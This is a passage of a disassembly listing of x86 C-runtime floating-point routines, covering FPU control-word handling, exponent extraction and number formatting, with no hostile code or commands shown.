[eax+50h], ecx mov eax, [ebp+arg_0] fld qword ptr [edi] fstp qword ptr [eax+40h] call sub_41C76E lea eax, [ebp+arg_0] push eax push ebx push 0 push [ebp+arg_8] nop call near ptr 28904B1h mov eax, [ebp+arg_0] test byte ptr [eax+8], 10h jz short loc_41C267 and dword ptr [esi], 0FFFFFFFEh loc_41C267: ; CODE XREF: sub_41C040+222j test byte ptr [eax+8], 8 jz short loc_41C270 and dword ptr [esi], 0FFFFFFFBh loc_41C270: ; CODE XREF: sub_41C040+22Bj test byte ptr [eax+8], 4 jz short loc_41C279 and dword ptr [esi], 0FFFFFFF7h loc_41C279: ; CODE XREF: sub_41C040+234j test byte ptr [eax+8], 2 jz short loc_41C282 and dword ptr [esi], 0FFFFFFEFh loc_41C282: ; CODE XREF: sub_41C040+23Dj test [eax+8], bl jz short loc_41C28A and dword ptr [esi], 0FFFFFFDFh loc_41C28A: ; CODE XREF: sub_41C040+245j mov ecx, [eax] mov edx, 0FFFFF3FFh and ecx, 3 sub ecx, 0 jz short loc_41C2BE dec ecx jz short loc_41C2B2 dec ecx jz short loc_41C2A8 dec ecx jnz short loc_41C2C0 or byte ptr [esi+1], 0Ch jmp short loc_41C2C0 ; --------------------------------------------------------------------------- loc_41C2A8: ; CODE XREF: sub_41C040+25Dj mov ecx, [esi] and ch, 0FBh or ch, 8 jmp short loc_41C2BA ; --------------------------------------------------------------------------- loc_41C2B2: ; CODE XREF: sub_41C040+25Aj mov ecx, [esi] and ch, 0F7h or ch, 4 loc_41C2BA: ; CODE XREF: sub_41C040+270j mov [esi], ecx jmp short loc_41C2C0 ; --------------------------------------------------------------------------- loc_41C2BE: ; CODE XREF: sub_41C040+257j and [esi], edx loc_41C2C0: ; CODE XREF: sub_41C040+260j ; sub_41C040+266j ... mov ecx, [eax] shr ecx, 2 and ecx, 7 sub ecx, 0 jz short loc_41C2E0 dec ecx jz short loc_41C2D7 dec ecx jnz short loc_41C2E9 and [esi], edx jmp short loc_41C2E9 ; --------------------------------------------------------------------------- loc_41C2D7: ; CODE XREF: sub_41C040+28Ej mov ecx, [esi] and ecx, edx or ch, 2 jmp short loc_41C2E7 ; --------------------------------------------------------------------------- loc_41C2E0: ; CODE XREF: sub_41C040+28Bj mov ecx, [esi] and ecx, edx or ch, 3 loc_41C2E7: ; CODE XREF: sub_41C040+29Ej mov [esi], ecx loc_41C2E9: ; CODE XREF: sub_41C040+291j ; sub_41C040+295j fld qword ptr [eax+40h] fstp qword ptr [edi] pop edi pop esi pop ebx pop ebp retn sub_41C040 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C2F3 proc near ; CODE XREF: sub_41BFA8+10p var_24 = qword ptr -24h var_C = qword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] push ebx push edi mov edi, eax and edi, 1Fh push 1 test al, 8 pop ebx jz short loc_41C31E test byte ptr [ebp+arg_8], bl jz short loc_41C31E push ebx call sub_41C7A0 pop ecx and edi, 0FFFFFFF7h jmp loc_41C4E8 ; --------------------------------------------------------------------------- loc_41C31E: ; CODE XREF: sub_41C2F3+15j ; sub_41C2F3+1Aj test al, 4 jz short loc_41C338 test byte ptr [ebp+arg_8], 4 jz short loc_41C338 push 4 call sub_41C7A0 pop ecx and edi, 0FFFFFFFBh jmp loc_41C4E8 ; --------------------------------------------------------------------------- loc_41C338: ; CODE XREF: sub_41C2F3+2Dj ; sub_41C2F3+33j test al, bl jz loc_41C412 test byte ptr [ebp+arg_8], 8 jz loc_41C412 push 8 call sub_41C7A0 pop ecx mov eax, 0C00h mov ecx, [ebp+arg_8] and ecx, eax jz loc_41C3EA cmp ecx, 400h jz short loc_41C3C2 cmp ecx, 800h jz short loc_41C39A cmp ecx, eax jnz loc_41C40A mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_424818 fld dbl_435FA0 fnstsw ax sahf ja short loc_41C392 fchs loc_41C392: ; CODE XREF: sub_41C2F3+9Bj fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_41C408 ; --------------------------------------------------------------------------- loc_41C39A: ; CODE XREF: sub_41C2F3+7Dj mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_424818 fnstsw ax sahf jbe short loc_41C3B2 fld dbl_435F90 jmp short loc_41C3BA ; --------------------------------------------------------------------------- loc_41C3B2: ; CODE XREF: sub_41C2F3+B5j fld dbl_435FA0 fchs loc_41C3BA: ; CODE XREF: sub_41C2F3+BDj fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_41C408 ; --------------------------------------------------------------------------- loc_41C3C2: ; CODE XREF: sub_41C2F3+75j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_424818 fnstsw ax sahf jbe short loc_41C3DA fld dbl_435FA0 jmp short loc_41C3E2 ; --------------------------------------------------------------------------- loc_41C3DA: ; CODE XREF: sub_41C2F3+DDj fld dbl_435F90 fchs loc_41C3E2: ; CODE XREF: sub_41C2F3+E5j fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_41C408 ; --------------------------------------------------------------------------- loc_41C3EA: ; CODE XREF: sub_41C2F3+69j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_424818 fld dbl_435F90 fnstsw ax sahf ja short loc_41C402 fchs loc_41C402: ; CODE XREF: sub_41C2F3+10Bj fstp [ebp+var_C] fld [ebp+var_C] loc_41C408: ; CODE XREF: sub_41C2F3+A5j ; sub_41C2F3+CDj ... fstp qword ptr [ecx] loc_41C40A: ; CODE XREF: sub_41C2F3+81j and edi, 0FFFFFFFEh jmp loc_41C4E8 ; --------------------------------------------------------------------------- loc_41C412: ; CODE XREF: sub_41C2F3+47j ; sub_41C2F3+51j test al, 2 jz loc_41C4E8 test byte ptr [ebp+arg_8], 10h jz loc_41C4E8 push esi xor esi, esi test al, 10h jz short loc_41C42D mov esi, ebx loc_41C42D: ; CODE XREF: sub_41C2F3+136j mov eax, [ebp+arg_4] fld qword ptr [eax] fstp [ebp+var_C] fld [ebp+var_C] fcomp dbl_424818 fnstsw ax sahf jz loc_41C4D6 fld [ebp+var_C] lea eax, [ebp+var_4] push eax ; int push ecx push ecx ; double fstp [esp+24h+var_24] call sub_41C69F mov eax, [ebp+var_4] add esp, 0Ch fstp [ebp+var_C] lea ecx, [eax-600h] cmp ecx, 0FFFFFBCEh jge short loc_41C478 fldz mov esi, ebx fstp [ebp+var_C] jmp short loc_41C4CC ; --------------------------------------------------------------------------- loc_41C478: ; CODE XREF: sub_41C2F3+17Aj fld [ebp+var_C] fcomp dbl_424818 fnstsw ax sahf jnb short loc_41C48A mov edx, ebx jmp short loc_41C48C ; --------------------------------------------------------------------------- loc_41C48A: ; CODE XREF: sub_41C2F3+191j xor edx, edx loc_41C48C: ; CODE XREF: sub_41C2F3+195j mov al, byte ptr [ebp+var_C+6] and eax, 0Fh or al, 10h mov word ptr [ebp+var_C+6], ax mov eax, 0FFFFFC03h cmp ecx, eax jge short loc_41C4C0 sub eax, ecx loc_41C4A3: ; CODE XREF: sub_41C2F3+1CBj test byte ptr [ebp+var_C], bl jz short loc_41C4AE test esi, esi jnz short loc_41C4AE mov esi, ebx loc_41C4AE: ; CODE XREF: sub_41C2F3+1B3j ; sub_41C2F3+1B7j shr dword ptr [ebp+var_C], 1 test byte ptr [ebp+var_C+4], bl jz short loc_41C4BA or byte ptr [ebp+var_C+3], 80h loc_41C4BA: ; CODE XREF: sub_41C2F3+1C1j shr dword ptr [ebp+var_C+4], 1 dec eax jnz short loc_41C4A3 loc_41C4C0: ; CODE XREF: sub_41C2F3+1ACj test edx, edx jz short loc_41C4CC fld [ebp+var_C] fchs fstp [ebp+var_C] loc_41C4CC: ; CODE XREF: sub_41C2F3+183j ; sub_41C2F3+1CFj fld [ebp+var_C] mov eax, [ebp+arg_4] fstp qword ptr [eax] jmp short loc_41C4D8 ; --------------------------------------------------------------------------- loc_41C4D6: ; CODE XREF: sub_41C2F3+14Ej mov esi, ebx loc_41C4D8: ; CODE XREF: sub_41C2F3+1E1j test esi, esi pop esi jz short loc_41C4E5 push 10h call sub_41C7A0 pop ecx loc_41C4E5: ; CODE XREF: sub_41C2F3+1E8j and edi, 0FFFFFFFDh loc_41C4E8: ; CODE XREF: sub_41C2F3+26j ; sub_41C2F3+40j ... test byte ptr [ebp+arg_0], 10h jz short loc_41C4FF test byte ptr [ebp+arg_8], 20h jz short loc_41C4FF push 20h call sub_41C7A0 pop ecx and edi, 0FFFFFFEFh loc_41C4FF: ; CODE XREF: sub_41C2F3+1F9j ; sub_41C2F3+1FFj xor eax, eax test edi, edi pop edi pop ebx setz al leave retn sub_41C2F3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41C50A(int,int,int,int,int,int,double,int) sub_41C50A proc near ; CODE XREF: sub_41BF55+2Bp ; sub_41BFA8+72p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = qword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = qword ptr 20h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 20h push [ebp+arg_4] call sub_41C5B8 test eax, eax pop ecx mov [ebp+var_1C], eax jz short loc_41C575 mov eax, [ebp+arg_8] push esi mov [ebp+var_18], eax mov eax, [ebp+arg_C] mov [ebp+var_14], eax mov eax, [ebp+arg_10] mov esi, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_14] push 0FFFFh push [ebp+arg_20] mov [ebp+var_C], eax mov eax, dword ptr [ebp+arg_18] mov [ebp+var_20], esi mov dword ptr [ebp+var_8], eax mov eax, dword ptr [ebp+arg_18+4] mov dword ptr [ebp+var_8+4], eax call sub_41C77D lea eax, [ebp+var_20] push eax call sub_42017F add esp, 0Ch test eax, eax jnz short loc_41C56F push esi call sub_41C592 pop ecx loc_41C56F: ; CODE XREF: sub_41C50A+5Cj fld [ebp+var_8] pop esi leave retn ; --------------------------------------------------------------------------- loc_41C575: ; CODE XREF: sub_41C50A+14j push 0FFFFh push [ebp+arg_20] call sub_41C77D push [ebp+arg_0] call sub_41C592 fld [ebp+arg_18] add esp, 0Ch leave retn sub_41C50A endp ; =============== S U B R O U T I N E ======================================= sub_41C592 proc near ; CODE XREF: sub_41BFA8+7Dp ; sub_41C50A+5Fp ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, 1 jz short loc_41C5AD jle short locret_41C5B7 cmp eax, 3 jg short locret_41C5B7 mov dword_4CD9B4, 22h retn ; --------------------------------------------------------------------------- loc_41C5AD: ; CODE XREF: sub_41C592+7j mov dword_4CD9B4, 21h locret_41C5B7: ; CODE XREF: sub_41C592+9j ; sub_41C592+Ej retn sub_41C592 endp ; =============== S U B R O U T I N E ======================================= sub_41C5B8 proc near ; CODE XREF: sub_41C50A+9p arg_0 = dword ptr 4 xor ecx, ecx mov eax, offset dword_435EB8 loc_41C5BF: ; CODE XREF: sub_41C5B8+18j mov edx, [eax] cmp edx, [esp+arg_0] jz short loc_41C5D5 add eax, 8 inc ecx cmp eax, offset dbl_435F90 jl short loc_41C5BF xor eax, eax retn ; --------------------------------------------------------------------------- loc_41C5D5: ; CODE XREF: sub_41C5B8+Dj mov eax, off_435EBC[ecx*8] retn sub_41C5B8 endp ; =============== S U B R O U T I N E ======================================= sub_41C5DD proc near ; CODE XREF: sub_41BFA8+41p arg_0 = byte ptr 4 mov al, [esp+arg_0] test al, 20h jz short loc_41C5E9 push 5 jmp short loc_41C5FF ; --------------------------------------------------------------------------- loc_41C5E9: ; CODE XREF: sub_41C5DD+6j test al, 8 jz short loc_41C5F1 push 1 jmp short loc_41C5FF ; --------------------------------------------------------------------------- loc_41C5F1: ; CODE XREF: sub_41C5DD+Ej test al, 4 jz short loc_41C5F9 push 2 jmp short loc_41C5FF ; --------------------------------------------------------------------------- loc_41C5F9: ; CODE XREF: sub_41C5DD+16j test al, 1 jz short loc_41C601 push 3 loc_41C5FF: ; CODE XREF: sub_41C5DD+Aj ; sub_41C5DD+12j ... pop eax retn ; --------------------------------------------------------------------------- loc_41C601: ; CODE XREF: sub_41C5DD+1Ej movzx eax, al and eax, 2 shl eax, 1 retn sub_41C5DD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41C60A(double) sub_41C60A proc near ; CODE XREF: sub_417CA4:loc_417D2Ap ; sub_417DEB:loc_417E71p var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx fld [ebp+arg_0] frndint fstp [ebp+var_8] fld [ebp+var_8] leave retn sub_41C60A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41C61C(double,int) sub_41C61C proc near ; CODE XREF: sub_41C69F+82p ; sub_41C69F+98p var_8 = qword ptr -8 arg_0 = qword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_8] mov ecx, [ebp+0Eh] fld [ebp+arg_0] add eax, 3FEh and cx, 800Fh fstp [ebp+var_8] shl eax, 4 or eax, ecx mov word ptr [ebp+var_8+6], ax fld [ebp+var_8] leave retn sub_41C61C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C645 proc near ; CODE XREF: sub_417CA4+31p ; sub_417DEB+31p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp xor edx, edx cmp [ebp+arg_4], 7FF00000h jnz short loc_41C65C cmp [ebp+arg_0], edx jnz short loc_41C66E push 1 jmp short loc_41C698 ; --------------------------------------------------------------------------- loc_41C65C: ; CODE XREF: sub_41C645+Cj cmp [ebp+arg_4], 0FFF00000h jnz short loc_41C66E cmp [ebp+arg_0], edx jnz short loc_41C66E push 2 jmp short loc_41C698 ; --------------------------------------------------------------------------- loc_41C66E: ; CODE XREF: sub_41C645+11j ; sub_41C645+1Ej ... mov ecx, [ebp+arg_4+2] mov eax, 7FF8h and ecx, eax cmp cx, ax jnz short loc_41C681 push 3 jmp short loc_41C698 ; --------------------------------------------------------------------------- loc_41C681: ; CODE XREF: sub_41C645+36j cmp cx, 7FF0h jnz short loc_41C69B test [ebp+arg_4], 7FFFFh jnz short loc_41C696 cmp [ebp+arg_0], edx jz short loc_41C69B loc_41C696: ; CODE XREF: sub_41C645+4Aj push 4 loc_41C698: ; CODE XREF: sub_41C645+15j ; sub_41C645+27j ... pop eax pop ebp retn ; --------------------------------------------------------------------------- loc_41C69B: ; CODE XREF: sub_41C645+41j ; sub_41C645+4Fj xor eax, eax pop ebp retn sub_41C645 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41C69F(double,int) sub_41C69F proc near ; CODE XREF: sub_41C2F3+160p var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx fld [ebp+arg_0] fcomp dbl_424818 push esi fnstsw ax sahf jnz short loc_41C6BF fldz xor esi, esi fstp [ebp+var_8] jmp loc_41C755 ; --------------------------------------------------------------------------- loc_41C6BF: ; CODE XREF: sub_41C69F+12j xor ecx, ecx test word ptr [ebp+arg_0+6], 7FF0h jnz short loc_41C72E test dword ptr [ebp+arg_0+4], 0FFFFFh jnz short loc_41C6D7 cmp dword ptr [ebp+arg_0], ecx jz short loc_41C72E loc_41C6D7: ; CODE XREF: sub_41C69F+31j fld [ebp+arg_0] fcomp dbl_424818 mov esi, 0FFFFFC03h fnstsw ax sahf jnb short loc_41C6EF push 1 pop eax jmp short loc_41C6F1 ; --------------------------------------------------------------------------- loc_41C6EF: ; CODE XREF: sub_41C69F+49j xor eax, eax loc_41C6F1: ; CODE XREF: sub_41C69F+4Ej ; sub_41C69F+69j test byte ptr [ebp+arg_0+6], 10h jnz short loc_41C70A shl dword ptr [ebp+arg_0+4], 1 test byte ptr [ebp+arg_0+3], 80h jz short loc_41C704 or dword ptr [ebp+arg_0+4], 1 loc_41C704: ; CODE XREF: sub_41C69F+5Fj shl dword ptr [ebp+arg_0], 1 dec esi jmp short loc_41C6F1 ; --------------------------------------------------------------------------- loc_41C70A: ; CODE XREF: sub_41C69F+56j and word ptr [ebp+arg_0+6], 0FFEFh cmp eax, ecx jz short loc_41C718 or byte ptr [ebp+arg_0+7], 80h loc_41C718: ; CODE XREF: sub_41C69F+73j fld [ebp+arg_0] push ecx ; int push ecx push ecx ; double fstp [esp+18h+var_18] call sub_41C61C fstp [ebp+var_8] add esp, 0Ch jmp short loc_41C755 ; --------------------------------------------------------------------------- loc_41C72E: ; CODE XREF: sub_41C69F+28j ; sub_41C69F+36j fld [ebp+arg_0] push ecx ; int push ecx push ecx ; double fstp [esp+18h+var_18] call sub_41C61C mov eax, dword ptr [ebp+arg_0+6] add esp, 0Ch fstp [ebp+var_8] shr eax, 4 and ax, 7FFh movsx esi, ax sub esi, 3FEh loc_41C755: ; CODE XREF: sub_41C69F+1Bj ; sub_41C69F+8Dj mov eax, [ebp+arg_8] fld [ebp+var_8] mov [eax], esi pop esi leave retn sub_41C69F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C760 proc near ; CODE XREF: sub_41C040+F6p var_2 = word ptr -2 push ebp mov ebp, esp push ecx fstsw [ebp+var_2] movsx eax, [ebp+var_2] leave retn sub_41C760 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C76E proc near ; CODE XREF: sub_41C040+206p var_2 = word ptr -2 push ebp mov ebp, esp push ecx fnstsw [ebp+var_2] fnclex movsx eax, [ebp+var_2] leave retn sub_41C76E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C77D proc near ; CODE XREF: sub_417CA4+13p ; sub_417CA4+5Dp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx fstcw word ptr [ebp+var_4] mov eax, [ebp+arg_4] mov ecx, eax and eax, [ebp+arg_0] not ecx and ecx, [ebp+var_4] or ecx, eax mov [ebp+arg_4], ecx fldcw word ptr [ebp+arg_4] movsx eax, word ptr [ebp+var_4] leave retn sub_41C77D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C7A0 proc near ; CODE XREF: sub_41C2F3+1Dp ; sub_41C2F3+37p ... var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov cl, byte ptr [ebp+arg_0] test cl, 1 jz short loc_41C7B7 fld tbyte_435FB8 fistp [ebp+arg_0] wait loc_41C7B7: ; CODE XREF: sub_41C7A0+Bj test cl, 8 jz short loc_41C7CC fstsw ax fld tbyte_435FB8 fstp [ebp+var_8] wait fstsw ax loc_41C7CC: ; CODE XREF: sub_41C7A0+1Aj test cl, 10h jz short loc_41C7DB fld tbyte_435FC4 fstp [ebp+var_8] wait loc_41C7DB: ; CODE XREF: sub_41C7A0+2Fj test cl, 4 jz short loc_41C7E9 fldz fld1 fdivrp st(1), st fstp st wait loc_41C7E9: ; CODE XREF: sub_41C7A0+3Ej test cl, 20h jz short locret_41C7F4 fldpi fstp [ebp+var_8] wait locret_41C7F4: ; CODE XREF: sub_41C7A0+4Cj leave retn sub_41C7A0 endp ; =============== S U B R O U T I N E ======================================= sub_41C7F6 proc near ; CODE XREF: sub_417D73+Fp push 30000h push 10000h call sub_4201B7 pop ecx pop ecx retn sub_41C7F6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C808 proc near ; CODE XREF: sub_41C846:loc_41C86Aj var_18 = qword ptr -18h var_10 = qword ptr -10h var_8 = qword ptr -8 push ebp mov ebp, esp sub esp, 18h fld dbl_424828 fstp [ebp+var_8] fld dbl_424820 fstp [ebp+var_10] fld [ebp+var_10] fdiv [ebp+var_8] fmul [ebp+var_8] fsubr [ebp+var_10] fstp [ebp+var_18] fld [ebp+var_18] fcomp dbl_4246A8 fnstsw ax sahf jbe short loc_41C842 push 1 pop eax leave retn ; --------------------------------------------------------------------------- loc_41C842: ; CODE XREF: sub_41C808+33j xor eax, eax leave retn sub_41C808 endp ; =============== S U B R O U T I N E ======================================= sub_41C846 proc near ; CODE XREF: sub_417D73+5p push offset aKernel32 ; "KERNEL32" call near ptr 2740B3Ch nop test eax, eax jz short loc_41C86A push offset aIsprocessorfea ; "IsProcessorFeaturePresent" push eax nop call near ptr 2710639h test eax, eax jz short loc_41C86A push 0 call eax retn ; --------------------------------------------------------------------------- loc_41C86A: ; CODE XREF: sub_41C846+Dj ; sub_41C846+1Dj jmp sub_41C808 sub_41C846 endp ; =============== S U B R O U T I N E ======================================= sub_41C86F proc near ; CODE XREF: sub_419E38+3CBp ; DATA XREF: sub_417D8B+1Eo ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] movsx eax, byte ptr [esi] push eax call sub_419101 cmp eax, 65h pop ecx jz short loc_41C8AF loc_41C883: ; CODE XREF: sub_41C86F+3Ej inc esi cmp dword_433E7C, 1 jle short loc_41C89C movsx eax, byte ptr [esi] push 4 push eax call sub_41A642 pop ecx pop ecx jmp short loc_41C8AB ; --------------------------------------------------------------------------- loc_41C89C: ; CODE XREF: sub_41C86F+1Cj movsx eax, byte ptr [esi] mov ecx, off_433C70 mov al, [ecx+eax*2] and eax, 4 loc_41C8AB: ; CODE XREF: sub_41C86F+2Bj test eax, eax jnz short loc_41C883 loc_41C8AF: ; CODE XREF: sub_41C86F+12j mov cl, byte_433E80 mov al, [esi] mov [esi], cl inc esi loc_41C8BA: ; CODE XREF: sub_41C86F+56j mov cl, [esi] mov [esi], al mov al, cl mov cl, [esi] inc esi test cl, cl jnz short loc_41C8BA pop esi retn sub_41C86F endp ; =============== S U B R O U T I N E ======================================= sub_41C8C9 proc near ; CODE XREF: sub_419E38+3E2p ; DATA XREF: sub_417D8B+5o ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dl, byte_433E80 mov cl, [eax] test cl, cl jz short loc_41C8E5 loc_41C8D9: ; CODE XREF: sub_41C8C9+1Aj cmp cl, dl jz short loc_41C8E5 mov cl, [eax+1] inc eax test cl, cl jnz short loc_41C8D9 loc_41C8E5: ; CODE XREF: sub_41C8C9+Ej ; sub_41C8C9+12j mov cl, [eax] inc eax test cl, cl jz short locret_41C916 loc_41C8EC: ; CODE XREF: sub_41C8C9+34j mov cl, [eax] test cl, cl jz short loc_41C8FF cmp cl, 65h jz short loc_41C8FF cmp cl, 45h jz short loc_41C8FF inc eax jmp short loc_41C8EC ; --------------------------------------------------------------------------- loc_41C8FF: ; CODE XREF: sub_41C8C9+27j ; sub_41C8C9+2Cj ... mov ecx, eax loc_41C901: ; CODE XREF: sub_41C8C9+3Cj dec eax cmp byte ptr [eax], 30h jz short loc_41C901 cmp [eax], dl jnz short loc_41C90C dec eax loc_41C90C: ; CODE XREF: sub_41C8C9+40j ; sub_41C8C9+4Bj mov dl, [ecx] inc eax inc ecx test dl, dl mov [eax], dl jnz short loc_41C90C locret_41C916: ; CODE XREF: sub_41C8C9+21j retn sub_41C8C9 endp ; =============== S U B R O U T I N E ======================================= sub_41C917 proc near ; DATA XREF: sub_417D8B+28o ; ___:off_435FE0o arg_0 = dword ptr 4 mov eax, [esp+arg_0] fld qword ptr [eax] fcomp dbl_424818 fnstsw ax sahf jb short loc_41C92C push 1 pop eax retn ; --------------------------------------------------------------------------- loc_41C92C: ; CODE XREF: sub_41C917+Fj xor eax, eax retn sub_41C917 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C92F proc near ; CODE XREF: sub_41D797+430p ; DATA XREF: sub_417D8B+14o ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_0], 0 push [ebp+arg_8] jz short loc_41C958 lea eax, [ebp+var_8] push eax call sub_42067A mov eax, [ebp+arg_4] pop ecx pop ecx mov ecx, [ebp+var_8] mov [eax], ecx mov ecx, [ebp+var_4] mov [eax+4], ecx leave retn ; --------------------------------------------------------------------------- loc_41C958: ; CODE XREF: sub_41C92F+Cj lea eax, [ebp+arg_8] push eax call sub_4206A7 mov eax, [ebp+arg_4] pop ecx pop ecx mov ecx, [ebp+arg_8] mov [eax], ecx leave retn sub_41C92F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C96D proc near ; CODE XREF: sub_41CBEA+17p ; sub_41CC34+47p var_10 = qword ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp cmp byte_4CDA24, 0 push ebx push esi jz short loc_41C9A2 mov ebx, [ebp+arg_8] mov eax, dword_4CDA20 xor ecx, ecx mov esi, eax test ebx, ebx setnle cl push ecx xor ecx, ecx cmp dword ptr [eax], 2Dh setz cl add ecx, [ebp+arg_4] push ecx call sub_41CC85 pop ecx pop ecx jmp short loc_41C9DA ; --------------------------------------------------------------------------- loc_41C9A2: ; CODE XREF: sub_41C96D+Cj mov eax, [ebp+arg_0] push ecx push ecx fld qword ptr [eax] fstp [esp+10h+var_10] call sub_42074B mov ebx, [ebp+arg_8] mov esi, eax push esi mov edx, [ebp+arg_4] lea eax, [ebx+1] push eax xor eax, eax cmp dword ptr [esi], 2Dh setz al xor ecx, ecx test ebx, ebx setnle cl add edx, eax add ecx, edx push ecx call sub_4206D4 add esp, 14h loc_41C9DA: ; CODE XREF: sub_41C96D+33j cmp dword ptr [esi], 2Dh mov eax, [ebp+arg_4] jnz short loc_41C9E6 mov byte ptr [eax], 2Dh inc eax loc_41C9E6: ; CODE XREF: sub_41C96D+73j test ebx, ebx jle short loc_41C9FE mov cl, [eax+1] push edi lea edi, [eax+1] mov [eax], cl mov cl, byte_433E80 mov eax, edi pop edi mov [eax], cl loc_41C9FE: ; CODE XREF: sub_41C96D+7Bj xor ecx, ecx push offset aE000 ; "e+000" cmp byte_4CDA24, cl setz cl add ecx, eax add ecx, ebx push ecx call sub_4179C0 cmp [ebp+arg_C], 0 pop ecx pop ecx mov ecx, eax jz short loc_41CA25 mov byte ptr [ecx], 45h loc_41CA25: ; CODE XREF: sub_41C96D+B3j mov eax, [esi+0Ch] inc ecx cmp byte ptr [eax], 30h jz short loc_41CA6A mov ebx, [esi+4] dec ebx jns short loc_41CA39 neg ebx mov byte ptr [ecx], 2Dh loc_41CA39: ; CODE XREF: sub_41C96D+C5j inc ecx cmp ebx, 64h jl short loc_41CA50 mov eax, ebx push 64h cdq pop esi idiv esi add [ecx], al mov eax, ebx cdq idiv esi mov ebx, edx loc_41CA50: ; CODE XREF: sub_41C96D+D0j inc ecx cmp ebx, 0Ah jl short loc_41CA67 mov eax, ebx push 0Ah cdq pop esi idiv esi add [ecx], al mov eax, ebx cdq idiv esi mov ebx, edx loc_41CA67: ; CODE XREF: sub_41C96D+E7j add [ecx+1], bl loc_41CA6A: ; CODE XREF: sub_41C96D+BFj mov eax, [ebp+arg_4] pop esi pop ebx pop ebp retn sub_41C96D endp ; =============== S U B R O U T I N E ======================================= sub_41CA71 proc near ; CODE XREF: sub_41CC11+13p ; sub_41CC34+1Ep var_18 = qword ptr -18h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch cmp byte_4CDA24, 0 push ebx push ebp mov ebp, [esp+8+arg_4] push esi push edi jz short loc_41CAAC mov eax, dword_4CDA28 mov ebx, [esp+10h+arg_8] mov esi, dword_4CDA20 cmp eax, ebx jnz short loc_41CADC xor ecx, ecx cmp dword ptr [esi], 2Dh setz cl add ecx, eax add ecx, ebp mov eax, ecx mov byte ptr [eax], 30h and byte ptr [eax+1], 0 jmp short loc_41CADC ; --------------------------------------------------------------------------- loc_41CAAC: ; CODE XREF: sub_41CA71+Fj mov eax, [esp+10h+arg_0] push ecx push ecx fld qword ptr [eax] fstp [esp+18h+var_18] call sub_42074B mov ebx, [esp+18h+arg_8] mov esi, eax push esi mov eax, [esi+4] add eax, ebx push eax xor eax, eax cmp dword ptr [esi], 2Dh setz al add eax, ebp push eax call sub_4206D4 add esp, 14h loc_41CADC: ; CODE XREF: sub_41CA71+22j ; sub_41CA71+39j cmp dword ptr [esi], 2Dh mov edi, ebp jnz short loc_41CAEA mov byte ptr [ebp+0], 2Dh lea edi, [ebp+1] loc_41CAEA: ; CODE XREF: sub_41CA71+70j mov eax, [esi+4] test eax, eax jg short loc_41CB01 push 1 push edi call sub_41CC85 pop ecx mov byte ptr [edi], 30h pop ecx inc edi jmp short loc_41CB03 ; --------------------------------------------------------------------------- loc_41CB01: ; CODE XREF: sub_41CA71+7Ej add edi, eax loc_41CB03: ; CODE XREF: sub_41CA71+8Ej test ebx, ebx jle short loc_41CB48 push 1 push edi call sub_41CC85 mov al, byte_433E80 pop ecx mov [edi], al mov esi, [esi+4] inc edi pop ecx test esi, esi jge short loc_41CB48 cmp byte_4CDA24, 0 jz short loc_41CB2D neg esi jmp short loc_41CB33 ; --------------------------------------------------------------------------- loc_41CB2D: ; CODE XREF: sub_41CA71+B6j neg esi cmp ebx, esi jl short loc_41CB35 loc_41CB33: ; CODE XREF: sub_41CA71+BAj mov ebx, esi loc_41CB35: ; CODE XREF: sub_41CA71+C0j push ebx push edi call sub_41CC85 push ebx push 30h push edi call sub_417330 add 